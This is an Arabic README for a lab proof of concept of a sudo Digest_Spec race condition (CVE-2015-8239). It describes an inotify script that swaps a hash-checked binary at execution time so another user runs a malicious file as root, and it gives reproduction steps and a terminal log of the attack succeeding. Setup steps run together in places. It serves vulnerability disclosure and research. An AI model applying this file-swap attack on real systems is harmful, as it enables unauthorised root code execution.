
نموذج إثبات مفهوم قائم على Docker يوضح استغلال حالة سباق TOCTOU لميزة `Digest_Spec` في sudo (CVE-2015-8239) باستخدام inotify لهجمات استبدال الملفات عبر المستخدمين.
Digest_Spec TOCTOU POC في sudoersاكتشفت أليسا ميلبورن (https://twitter.com/noopwafel) ثغرة سباق TOCTOU في
sudo عند استخدام إعداد Digest_Spec. يمكن استخدام إعداد Digest_Spec للسماح
لمستخدم بتنفيذ أمر عبر sudo لملف ثنائي إذا وفقط إذا تطابق تجزئته مع قيمة محددة.
راجع man sudoers وابحث عن Digest_Spec لمزيد من المعلومات حول هذه الميزة، وراجع
http://noopwafel.net/notes/2015/sudo-digest-race-condition.html لمزيد من المعلومات
حول الثغرة التي اكتشفتها أليسا. تم تخصيص CVE-2015-8239 للمشكلة.
تم تخفيف المشكلة بإضافة توثيق إلى man sudoers يحذر من احتمالية حالة سباق،
وبإضافة بعض السحر المتعلق بـ fexecve() إلى sudo لمحاولة منع أنواع معينة من
تعديلات الملفات من أن تكون فعالة.
ومن المثير للاهتمام، أن cve-assign قال ما يلي على https://seclists.org/oss-sec/2015/q4/256:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
يوضح هذا POC أن هذه العبارة ليست صحيحة بالضرورة، بشرط أن يتمكن مستخدم
"الكاتب" من تنفيذ كود مستمر على النظام. يمكن لمستخدم "الكاتب" الاستفادة من
inotify لاكتشاف متى يقوم مستخدم "المنفذ" بتشغيل الملف باستخدام sudo ويمكنه
محاولة هجوم استبدال الملف في ذلك الوقت.
ينشئ هذا المشروع صورة Docker والتي:
/opt/sudoable يمكن لمستخدم editor الكتابة عليه، ويمكن لمستخدم executor تنفيذه باستخدام sudo إذا وفقط إذا تطابق تجزئة SHA256 الخاصة به مع قيمة معينة/opt/hello (الملف "الجيد" الذي تم تضمين تجزئة SHA256 الخاصة به في sudoers) وملف في /opt/goodbye (ملف "شرير")/opt قابلاً للكتابة فقط من قبل مستخدم root (وبالتالي يمكن لمستخدم editor استبدال محتويات /opt/sudoable ولكن لا يمكنه إجراء عملية تبديل ملف على مستوى نظام الملفات)/home/editor/exploit/exploit.pyعندما يتم تنفيذ /home/editor/exploit/exploit.py بواسطة مستخدم editor،
يتم استخدام inotify لمراقبة أحداث نظام الملفات. عندما يتم الوصول إلى ملف
/opt/sudoable، يتم استبداله بـ /opt/goodbye. بعد إغلاق الملف، يتم
استبداله بـ /opt/hello لترك الأمور في حالة "طبيعية".
بافتراض نجاح هذا السباق عندما يقوم مستخدم executor بتنفيذ sudo /opt/sudoable
(وهو ما يحدث في أغلب الأحيان على جهازي)، يمكن لمستخدم editor أن يتسبب في
قيام مستخدم executor بتنفيذ ثنائي ضار كـ root بغض النظر عن تجزئة SHA256
المحددة كقيمة Digest_Spec في sudoers.
قم بتشغيل make all
./instantiate.shtmux new-session واقسم اللوحة (Ctrl+b ثم "؛ استخدم Ctrl+b ثم السهم أعلى/أسفل للتبديل بين اللوحتين)sudo -u executor sudo /opt/sudoable ولاحظ الإخراج Hello uid=0sudo -u editor cp /opt/goodbye /opt/sudoablesudo -u executor sudo /opt/sudoable ولاحظ أنه يُطلب منك كلمة مرور (أي فشلت عملية sudo بسبب عدم تطابق التجزئة)sudo -u editor /home/editor/exploit/exploit.pysudo -u executor sudo /opt/sudoable عدة مرات ولاحظ الإخراج المتكرر لـ اللوحة العلوية:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
اللوحة السفلية:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
اللوحة العلوية:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
اللوحة السفلية:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
اللوحة العلوية:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
في أي الحالات يكون تخفيف fexecve() فعالاً فعلياً؟ إذا كان لدى المستخدم
صلاحية الكتابة إلى ملف sudoable ولكن ليس إلى الدليل الذي يوجد فيه، فيمكنه
تعديل الملف الذي تم فتحه بواسطة sudo. إذا كان لدى المستخدم صلاحية الكتابة
إلى الدليل ولكن ليس إلى الملف، فيمكنه نقل الملف خارج المسار وإعادة إنشائه
بحيث يمكنه تعديله، ونعود إلى المربع الأول.
شكرًا للوك (https://twitter.com/lukejahnke) لإخباري عن إعداد
Digest_Spec، وتبادل بعض الأفكار والتفكير في استخدام
inotify للحصول على POC نظيف عبر المستخدمين.
Goodbye uid=0